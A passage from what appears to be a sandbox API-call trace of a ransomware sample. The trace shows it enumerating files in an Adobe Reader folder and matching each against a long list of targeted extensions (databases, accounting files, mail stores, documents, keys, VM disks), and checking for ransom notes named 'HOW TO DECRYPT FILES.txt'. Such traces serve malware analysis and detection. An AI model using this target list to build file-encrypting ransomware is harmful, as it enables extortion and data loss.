lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.902] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.902] CloseHandle (hObject=0x94) returned 1 [0069.902] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.ems") returned 0 [0069.903] lstrlenA (lpString="*.ems") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.db") returned 0 [0069.903] lstrlenA (lpString="*.db") returned 4 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.dbf") returned 0 [0069.903] lstrlenA (lpString="*.dbf") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.myox") returned 0 [0069.903] lstrlenA (lpString="*.myox") returned 6 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.myo") returned 0 [0069.903] lstrlenA (lpString="*.myo") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbw") returned 0 [0069.903] lstrlenA (lpString="*.qbw") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbb") returned 0 [0069.903] lstrlenA (lpString="*.qbb") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbm") returned 0 [0069.903] lstrlenA (lpString="*.qbm") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbo") returned 0 [0069.903] lstrlenA (lpString="*.qbo") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbx") returned 0 [0069.903] lstrlenA (lpString="*.qbx") returned 5 [0069.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qba") returned 0 [0069.903] lstrlenA (lpString="*.qba") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qby") returned 0 [0069.904] lstrlenA (lpString="*.qby") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qbj") returned 0 [0069.904] lstrlenA (lpString="*.qbj") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.ofx") returned 0 [0069.904] lstrlenA (lpString="*.ofx") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.qif") returned 0 [0069.904] lstrlenA (lpString="*.qif") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mye") returned 0 [0069.904] lstrlenA (lpString="*.mye") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mbox") returned 0 [0069.904] lstrlenA (lpString="*.mbox") returned 6 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.eml") returned 0 [0069.904] lstrlenA (lpString="*.eml") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.pst") returned 0 [0069.904] lstrlenA (lpString="*.pst") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.ost") returned 0 [0069.904] lstrlenA (lpString="*.ost") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.idx") returned 0 [0069.904] lstrlenA (lpString="*.idx") returned 5 [0069.904] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.dbx") returned 0 [0069.905] lstrlenA (lpString="*.dbx") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.sql") returned 0 [0069.905] lstrlenA (lpString="*.sql") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mdb") returned 0 [0069.905] lstrlenA (lpString="*.mdb") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.fdb") returned 0 [0069.905] lstrlenA (lpString="*.fdb") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.wab") returned 0 [0069.905] lstrlenA (lpString="*.wab") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.dat") returned 0 [0069.905] lstrlenA (lpString="*.dat") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.txt") returned 0 [0069.905] lstrlenA (lpString="*.txt") returned 5 [0069.905] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.906] lstrlenA (lpString="*.jpeg") returned 6 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.jpg") returned 0 [0069.906] lstrlenA (lpString="*.jpg") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.png") returned 0 [0069.906] lstrlenA (lpString="*.png") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.php") returned 0 [0069.906] lstrlenA (lpString="*.php") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.cs") returned 0 [0069.906] lstrlenA (lpString="*.cs") returned 4 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.cpp") returned 0 [0069.906] lstrlenA (lpString="*.cpp") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.rar") returned 0 [0069.906] lstrlenA (lpString="*.rar") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.zip") returned 0 [0069.906] lstrlenA (lpString="*.zip") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.html") returned 0 [0069.906] lstrlenA (lpString="*.html") returned 6 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.htm") returned 0 [0069.906] lstrlenA (lpString="*.htm") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.906] lstrlenA (lpString="*.xlsx") returned 6 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.xls") returned 0 [0069.906] lstrlenA (lpString="*.xls") returned 5 [0069.906] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mp4") returned 0 [0069.907] lstrlenA (lpString="*.mp4") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.ppt") returned 0 [0069.907] lstrlenA (lpString="*.ppt") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.pptx") returned 0 [0069.907] lstrlenA (lpString="*.pptx") returned 6 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.doc") returned 0 [0069.907] lstrlenA (lpString="*.doc") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.dot") returned 0 [0069.907] lstrlenA (lpString="*.dot") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.docx") returned 0 [0069.907] lstrlenA (lpString="*.docx") returned 6 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.7z") returned 0 [0069.907] lstrlenA (lpString="*.7z") returned 4 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.tar") returned 0 [0069.907] lstrlenA (lpString="*.tar") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.bz2") returned 0 [0069.907] lstrlenA (lpString="*.bz2") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.gz") returned 0 [0069.907] lstrlenA (lpString="*.gz") returned 4 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mkv") returned 0 [0069.907] lstrlenA (lpString="*.mkv") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.eml") returned 0 [0069.907] lstrlenA (lpString="*.eml") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.msg") returned 0 [0069.907] lstrlenA (lpString="*.msg") returned 5 [0069.907] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.edb") returned 0 [0069.907] lstrlenA (lpString="*.edb") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.accdb") returned 0 [0069.908] lstrlenA (lpString="*.accdb") returned 7 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.odb") returned 0 [0069.908] lstrlenA (lpString="*.odb") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.java") returned 0 [0069.908] lstrlenA (lpString="*.java") returned 6 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.asm") returned 0 [0069.908] lstrlenA (lpString="*.asm") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.pfx") returned 0 [0069.908] lstrlenA (lpString="*.pfx") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.pem") returned 0 [0069.908] lstrlenA (lpString="*.pem") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.p12") returned 0 [0069.908] lstrlenA (lpString="*.p12") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.gpg") returned 0 [0069.908] lstrlenA (lpString="*.gpg") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.vsd") returned 0 [0069.908] lstrlenA (lpString="*.vsd") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.odg") returned 0 [0069.908] lstrlenA (lpString="*.odg") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.raw") returned 0 [0069.908] lstrlenA (lpString="*.raw") returned 5 [0069.908] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.nef") returned 0 [0069.908] lstrlenA (lpString="*.nef") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.svg") returned 0 [0069.909] lstrlenA (lpString="*.svg") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.psd") returned 0 [0069.909] lstrlenA (lpString="*.psd") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.vmx") returned 0 [0069.909] lstrlenA (lpString="*.vmx") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.909] lstrlenA (lpString="*.vmdk") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.vdi") returned 0 [0069.909] lstrlenA (lpString="*.vdi") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.lay6") returned 0 [0069.909] lstrlenA (lpString="*.lay6") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.909] lstrlenA (lpString="*.mpeg") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.djvu") returned 0 [0069.909] lstrlenA (lpString="*.djvu") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.tiff") returned 0 [0069.909] lstrlenA (lpString="*.tiff") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.backup") returned 0 [0069.909] lstrlenA (lpString="*.backup") returned 8 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.pdf") returned 0 [0069.909] lstrlenA (lpString="*.pdf") returned 5 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.cert") returned 0 [0069.909] lstrlenA (lpString="*.cert") returned 6 [0069.909] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.docm") returned 0 [0069.910] lstrlenA (lpString="*.docm") returned 6 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.910] lstrlenA (lpString="*.xlsm") returned 6 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.dwg") returned 0 [0069.910] lstrlenA (lpString="*.dwg") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.nd") returned 0 [0069.910] lstrlenA (lpString="*.nd") returned 4 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.tlg") returned 0 [0069.910] lstrlenA (lpString="*.tlg") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.lgb") returned 0 [0069.910] lstrlenA (lpString="*.lgb") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mov") returned 0 [0069.910] lstrlenA (lpString="*.mov") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.xdw") returned 0 [0069.910] lstrlenA (lpString="*.xdw") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.ods") returned 0 [0069.910] lstrlenA (lpString="*.ods") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.wav") returned 0 [0069.910] lstrlenA (lpString="*.wav") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.mp3") returned 0 [0069.910] lstrlenA (lpString="*.mp3") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.aiff") returned 0 [0069.910] lstrlenA (lpString="*.aiff") returned 6 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.flac") returned 0 [0069.910] lstrlenA (lpString="*.flac") returned 6 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.m4a") returned 0 [0069.910] lstrlenA (lpString="*.m4a") returned 5 [0069.910] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", pszSpec="*.csv") returned 0 [0069.910] lstrlenA (lpString="*.csv") returned 5 [0069.911] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.911] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.911] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.911] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.911] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.911] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini") returned="eula.ini" [0069.911] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0069.911] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="" [0069.911] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt" [0069.911] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\how to decrypt files.txt")) returned 0x20 [0069.911] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.ems") returned 0 [0069.911] lstrlenA (lpString="*.ems") returned 5 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.db") returned 0 [0069.911] lstrlenA (lpString="*.db") returned 4 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.dbf") returned 0 [0069.911] lstrlenA (lpString="*.dbf") returned 5 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.myox") returned 0 [0069.911] lstrlenA (lpString="*.myox") returned 6 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.myo") returned 0 [0069.911] lstrlenA (lpString="*.myo") returned 5 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbw") returned 0 [0069.911] lstrlenA (lpString="*.qbw") returned 5 [0069.911] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbb") returned 0 [0069.911] lstrlenA (lpString="*.qbb") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbm") returned 0 [0069.912] lstrlenA (lpString="*.qbm") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbo") returned 0 [0069.912] lstrlenA (lpString="*.qbo") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbx") returned 0 [0069.912] lstrlenA (lpString="*.qbx") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qba") returned 0 [0069.912] lstrlenA (lpString="*.qba") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qby") returned 0 [0069.912] lstrlenA (lpString="*.qby") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qbj") returned 0 [0069.912] lstrlenA (lpString="*.qbj") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.ofx") returned 0 [0069.912] lstrlenA (lpString="*.ofx") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.qif") returned 0 [0069.912] lstrlenA (lpString="*.qif") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.mye") returned 0 [0069.912] lstrlenA (lpString="*.mye") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.mbox") returned 0 [0069.912] lstrlenA (lpString="*.mbox") returned 6 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.eml") returned 0 [0069.912] lstrlenA (lpString="*.eml") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.pst") returned 0 [0069.912] lstrlenA (lpString="*.pst") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.ost") returned 0 [0069.912] lstrlenA (lpString="*.ost") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", pszSpec="*.idx") returned 0 [0069.912] lstrlenA (lpString="*.idx") returned 5 [0069.912] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html", 